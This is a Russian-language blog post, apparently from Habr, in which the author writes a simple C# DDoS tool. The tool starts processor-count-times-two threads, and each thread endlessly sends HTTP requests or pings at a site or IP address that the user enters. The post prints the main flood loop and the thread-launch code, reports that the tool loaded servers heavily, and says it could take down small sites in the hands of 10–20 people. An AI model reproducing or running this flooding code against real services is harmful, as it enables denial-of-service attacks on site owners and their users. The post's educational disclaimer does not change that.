Pull to refresh

Пишем свою программу для DDoS атак

image

Итак, дело было вечером, делать было нечего. Вот я и решил проверить наш с другом сайт на устойчивость. Написание программы было действительно несложным занятием и заняло около получаса. И именно с реализацией её на C# хотелось бы познакомить хабраюзера.


Introduction


Вообще, до этого меня ни разу не интересовали DDoS атаки. Ну, и, собственно, кодить я принялся тоже только из теоретических знаний. Результаты оказались довольно неожиданными:

image

А здесь добавлена многопоточность:
image

Таким образом мы можем увидеть, что программа довольно неплохо нагружала сервера. И в руках 10-20 человек могла бы свалить какой-нибудь небольшой сайтик.

Реализация


Для реализации был выбран язык C#.
Итак, небольшое описание работы: по нажатии кнопки Start DDoS создаётся несколько(количество ядер * 2) потоков с бесконечным циклом, где идут десятки тысяч запросов в секунду.

Метод с кодом основного цикла(извиняюсь за кривые комментарии):
        void a1(bool IsIP)
        { 
            IPAddress ip = null;
            if (IsIP)
                //Если это атака IP, то парсим строку в textBox2
                ip = IPAddress.Parse(textBox2.Text);
            //Основной цикл
            while (true)
            {
                //Если это атака сайта:
                if (!IsIP)
                {
                    //Создаём запрос
                    var r = (HttpWebRequest)WebRequest.Create("http://" + textBox1.Text);
                    //Начинаем слушать ответ
                    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
                }
                //Если это атака IP
                else
                {
                    var ping = new Ping();
                    //Если IP пропарсился нормально, то пингуем
                    if (ip != null)
                        ping.Send(ip);
                }
                //Переменная, которая содержит общее количество запросов
                i++;
                //Каждые 10000 раз вызываем сборщик мусора, иначе прога будет через минуту своей работы занимать около гигабайта ОЗУ
                if (i % 10000 == 0)
                    GC.Collect();
            }
        }

Как мы видим, задача довольно простая. Именно здесь находится основной код.

Также код создания самих потоков:
            for (var i = 0; i < Environment.ProcessorCount * 2; i++)
            {
                var bw = new BackgroundWorker();
                bw.DoWork += (s, a) => a1(radioButton2.Checked);
                bw.RunWorkerAsync();
            }


Ну, собственно, всё! Остальное не касается непосредственно DDoS, но это можно посмотреть в
прикриплённом проекте.

Данная статья была написана исключительно для ознакомительных целей! Мне просто хотелось выяснить, на сколько сложен в реализации данный тип программ и своими наблюдениями поделиться здесь. Во время проведения экспериментов ни один сайт не пострадал.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.